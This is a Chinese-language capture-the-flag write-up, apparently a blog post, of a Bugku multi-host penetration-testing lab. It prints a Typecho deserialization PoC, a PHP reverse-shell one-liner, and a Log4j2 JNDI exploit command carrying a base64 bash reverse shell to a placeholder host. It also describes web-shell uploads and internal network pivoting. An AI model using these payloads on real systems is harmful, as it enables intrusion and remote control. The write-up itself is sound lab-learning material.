前言

我也沒想到居然能有第二篇，可能是我打靶太過于坎坷（其實就是菜，嗚嗚嗚）。
言歸正傳，bugku的par模式，滲透測試2，共9個flag，打了三次，歷時三天，全部拿下。整個打靶過程依舊十分坎坷，在此，分享出來筆者打靶的過程，并呈現(xiàn)自己的思考，同時也希望能獲得大佬的指點(diǎn)。

過程

第一次打靶

0x01 flag1（Typecho反序列化）

啟動場景，給了一個ip:80，老樣子先上nmap掃一波

看來還是得從80端口開始，訪問頁面顯示

哇，這么大個flag，這是怕我看不見么，結(jié)果訪問并不是，年輕人不講武德，來騙，來偷襲...嗚嗚嗚

上dirsearch掃著，咱先熟悉一下整個站點(diǎn)的功能，這個站點(diǎn)是屬于博客類型的，插件識別出來這是一個Typecho的cms，版本為1.0

網(wǎng)上搜搜看有沒有歷史漏洞

嘿！還真有，剛好符合要求

挺輕松，直接上poc，

<?php
class Typecho_Feed{
    const RSS2 = 'RSS 2.0';
    private $_type;
    private $_items;
 
    public function __construct(){
        //__toString函數(shù)檢查
        $this->_type = self::RSS2;
        //觸發(fā)__get函數(shù)
        $_item['author'] = new Typecho_Request();
        //觸發(fā)錯誤
        $_item['category'] = array(new Typecho_Request());
        $this->_items[0] = $_item;
    }
}
 
class Typecho_Request{
    private $_params = array();
    private $_filter = array();
 
    public function __construct(){
        //回調(diào)函數(shù)的參數(shù)，即想要執(zhí)行的命令
        $this->_params['screenName'] = "ls";
        //回調(diào)函數(shù)
        $this->_filter[0] = "system";
    }
}

$data = new Typecho_Feed();
$poc = array(
    'adapter' => $data,
    'prefix' => "typecho_"
);
 
//序列化
$s = serialize($poc);
//base64編碼
echo base64_encode($s);
?>

將poc運(yùn)行后的結(jié)果，利用hackbar進(jìn)行post傳參，看到當(dāng)前目錄下的所有文件

當(dāng)前目錄下沒有flag，去根目錄下看看，直接cat /f*，拿到flag

0x02 flag2（數(shù)據(jù)庫）

上一個flag沒有提示，但按照打靶正常流程，咱應(yīng)該想辦法getshell，嘗試反彈一個shell回來。它本身是一個php站點(diǎn)，上面的poc中調(diào)用的又是system函數(shù)，最先想到的payload就是

php -r '$sock=fsockopen("xx.xx.xx.xx",1234);system("sh <&3 >&3 2>&3");'

但是因為單雙引號閉合的問題（有些函數(shù)里必需要有引號），放在poc里面感覺比較麻煩，想著寫一個一句話木馬進(jìn)去，但是蟻劍死活連不上，最后還是回到原來的想法，反彈shell。處心積慮地構(gòu)造了我大半天，終于構(gòu)造完了，最后長這樣，用變量隔開了很多參數(shù)，然后利用字符串拼接的方式將整個命令拼接完整就OK啦

（后面發(fā)現(xiàn)只要給雙引號加個\轉(zhuǎn)義一下就行了，一口老血吐了出來）

接收到shell后，看了一下當(dāng)前目錄并沒有flag，先用python提升一下shell的交互性吧

python3 -c 'import pty; pty.spawn("/bin/bash")'

然后看了一下自己剛剛想寫進(jìn)去的那個一句話木馬

？嗯？我的$_POST呢？就離譜...

然后因為這個反彈回來的shell執(zhí)行命令起來有點(diǎn)麻煩（敲錯命令想刪掉重敲，雖然它確實是刪掉了，但是顯示上并不會刪掉而且還會多兩個字符^H）

我覺得還是工具的ui界面操作起來更方便，想用echo命令寫一個一句話木馬進(jìn)去，結(jié)果呀，這個$_POST依舊是寫不進(jìn)去

最后我還是用老辦法，將這個一句話木馬分開，按兩次寫入shell.php，查閱了一下echo命令的一個詳細(xì)用法，于是就有了下圖

上蟻劍，成功連上

按照上次做滲透測試1的經(jīng)驗，flag應(yīng)該在數(shù)據(jù)庫里面，查看config.inc.php，拿到數(shù)據(jù)庫賬號密碼，

登錄后在數(shù)據(jù)庫中拿到flag

0x03 flag3（log4j2 rce）

依舊是沒有任何提示，想看看能不能提權(quán)，但就我那個提權(quán)三板斧是提不了的，只能看一下網(wǎng)段信息先走內(nèi)網(wǎng)了

顯示有一個網(wǎng)段192.168.0.2/24，傳一個fscan掃一下（將結(jié)果輸出到文件里邊，不然沒有回顯）

看一下結(jié)果，提示192.168.0.3:80的title是不一樣的，掛一個frp，訪問一下該站點(diǎn)

什么也沒有，嘗試弱口令，沒用，爆破，沒結(jié)果，想著抓包試試爆破，結(jié)果返回包里邊提示source.zip

訪問看看，把源碼下載下來了

解壓出來，淺淺看一下，是一個log4j2的題，估摸著是考CVE-2021-44228漏洞的利用吧

但是說來慚愧，作為一個web手，這個漏洞自曝出到現(xiàn)在我還沒有去復(fù)現(xiàn)研究過，導(dǎo)致現(xiàn)在不知道怎么去利用它，剛好時間也到了，只能先去研究一下這個漏洞了，第一次打靶結(jié)束。

第二次打靶

0x03 flag4（log4j2 rce）

研究了一天這個漏洞，大致知道該漏洞的基本原理和利用方法了

基本原理：一些版本的log4j2中存在JNDI注入漏洞，當(dāng)程序記錄用戶輸入的數(shù)據(jù)時，即可觸發(fā)該漏洞。
JNDI注入簡單來說就是在JNDI接口在初始化時，如：InitialContext.lookup(URI)，如果URI可控，那么客戶端就可能會被攻擊。
而一些版本的Log4j2的JNDI支持并沒有限制可以解析的名稱。這樣的話就可以通過一些協(xié)議像rmi:和ldap:這種，下載遠(yuǎn)程class，來運(yùn)行惡意代碼，從而達(dá)到遠(yuǎn)程代碼執(zhí)行的目的。
利用方式：利用JNDI注入讓靶機(jī)通過rmi或者ldap等協(xié)議加載我們在公網(wǎng)vps上構(gòu)造好的惡意類，從而拿下shell

思路清晰目的明確，在vulhub上找到相應(yīng)的環(huán)境成功復(fù)現(xiàn)一遍后，就開始了我的第二次打靶之旅。

將反彈shell的payload進(jìn)行base64加密

使用JNDI注入工具（JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar）在vps上開啟好對應(yīng)的服務(wù)，

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94eC54eC54eC54eC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" -A "xx.xx.xx.xx"

之后便可以開始利用了，從上次得到的源碼里可以知道這個站點(diǎn)用的是springboot框架，

所以選擇工具給好的對應(yīng)springboot的URI，構(gòu)造好payload，vps上nc監(jiān)聽反彈端口，將payload填入登錄框中，點(diǎn)擊提交即可接收到反彈回來的shell了

剛好還是root權(quán)限，讀一下flag

0x04 flag3、flag5

上一個flag提交后發(fā)現(xiàn)這居然是flag4

該不會真的需要在之前flag2上的機(jī)器提權(quán)后才能拿到flag3吧，嗚嗚嗚

然后仔細(xì)看了一下但當(dāng)前目錄下的文件，有一個start.sh的腳本，打開看看

好家伙，一個log4j2的漏洞拿下3個flag，flag3在一個js文件里邊、flag4在根目錄下、flag5在root目錄下，單走一個6

0x06 flag6（git克隆）

看完flag后，界面顯示看起來屬實不舒服，想clear清屏又清不掉，

最后想起來擱B站up主紅隊筆記的視頻里學(xué)到過一招，

export TERM=xterm-color

成功清屏

接著做下去，上一個flag依舊是沒有提示，但已經(jīng)有root權(quán)限了，正常流程就是看看內(nèi)網(wǎng)了，ifconfig看一下網(wǎng)段，好家伙，沒有ifconfig命令

ls /usr/bin看一下用戶命令有哪些

有wget，可以直接從vps上下載frpc，但是不知道這臺機(jī)子的具體網(wǎng)絡(luò)信息呀，這時候其實就有一點(diǎn)卡住了，不知道該怎樣獲取這臺機(jī)子的一個網(wǎng)卡信息，怎樣進(jìn)行下一步呢？

嘿嘿，我去問了一下度娘，

執(zhí)行ip addr show命令后發(fā)現(xiàn)還有一層192.168.1.2/24的網(wǎng)段，傳一個fscan上去掃一下

依舊是看title，發(fā)現(xiàn)192.168.1.3的是之前沒有見過的，掛frp開socks5代理，成功訪問該站點(diǎn)（能wget從公網(wǎng)上下載就已經(jīng)不需要考慮出不出網(wǎng)的問題了）

這個貌似是用來clone倉庫的，看一下插件是一個php站點(diǎn)

表單里邊有bugku的一個git倉庫提示，訪問看看

是一個漏洞測試靶場，并沒有給什么信息，直接將這個git倉庫克隆一下，

給了個超鏈接，訪問一看，flag出了

0x07 flag7（git克隆上馬）

這里可以克隆倉庫，而且可以訪問到克隆的倉庫里的文件，你說這種是不是很像文件上傳，于是我自己建了個倉庫，放上一句話木馬，clone后訪問發(fā)現(xiàn)它直接將文件內(nèi)容輸出了，并沒有執(zhí)行解析

可能是做了限制吧，然后嘗試修改倉庫里文件后綴看看能不能繞過限制，重新clone，好家伙，clone同一個倉庫，里邊的文件不會變了（不管遠(yuǎn)程倉庫做了什么修改，clone的倉庫只保留第一次clone的結(jié)果，估摸著是緩存的原因），沒辦法只能多創(chuàng)建幾個倉庫了，最后測試了很多次后，發(fā)現(xiàn)phtml后綴的文件能被解析執(zhí)行

直接上蟻劍，拿下flag

貼上我的倉庫地址（https://github.com/QRLing1/hello4）

0x08 flag8（ftp）

這次終于有提示了，

？什么東東，沒看懂，離譜，還是先看一下這臺機(jī)子的網(wǎng)卡信息吧

還有一層10.10.0.2/24的網(wǎng)段，上fscan掃一下（將結(jié)果輸出到文件中，不然沒有回顯）

看一下結(jié)果發(fā)現(xiàn)10.10.0.3這臺機(jī)子只開了21端口，該端口對應(yīng)的是ftp服務(wù)，題目的提示該不會是ftp的賬號密碼吧，繼續(xù)上frp掛代理，可是這次再上傳frpc的時候一直出現(xiàn)問題，

唯一上傳成功的frp還不能運(yùn)行

最后就一直卡在了這里，之后時間也差不多結(jié)束了，第二次打靶也就此告終。

第三次打靶

0x08 flag8（ftp）

重新開啟靶場后，想再試試傳一個frpc，這次上傳的很順利，之前傳不上去可能是網(wǎng)絡(luò)問題吧，掛上代理后嘗試使用xftp進(jìn)行連接，賬戶密碼確實是guest，但xftp連接上后就一直卡死

根本讀取不到文件，換FileZilla連接也是卡死，就離譜

之后想著還是用ftp命令行進(jìn)行連接吧

轉(zhuǎn)到kali，先在/etc/proxychains4.conf里加上socks5代理，

然后再使用ftp進(jìn)行連接，終于連上了

get flag遠(yuǎn)程下載flag文件拿到flag

0x09 flag9（ftp）

從上一個flag給出的提示，ls / 看一下根目錄的文件

還真有，直接get /flag，結(jié)果并沒有拿下flag

一下子給我整蒙了，難不成還要彈個shell回來提權(quán)？但是就開了一個21端口也執(zhí)行不了什么命令，怎么彈shell呀，迷茫了很久，切換到根目錄下面get flag，直接拿下了，好家伙，離大譜

總結(jié)

到這里就結(jié)束了，回顧整個打靶過程，還是能清晰的感受到我是一如既往的菜。這次打靶依舊是學(xué)到了很多東西，比如log4j2漏洞的學(xué)習(xí)和復(fù)現(xiàn)等，而且我覺得自己對打靶的一個大致流程也越來越熟練，打靶時的思路也逐漸靈活，總體上感觸頗多。下次繼續(xù)，嘿嘿。
希望師傅們不喜勿噴，感謝。

參考資料

??JNDI注入學(xué)習(xí)??16-PHP代碼審計——Typecho1.0.14反序列化漏洞
log4j2（CVE-2021-44228）漏洞復(fù)現(xiàn)實操（小白向）
CVE-2021-44228-Log4j漏洞分析及漏洞複現(xiàn)(Log4j POC)
??Apache Log4j2 lookup feature JNDI injection (CVE-2021-44228)??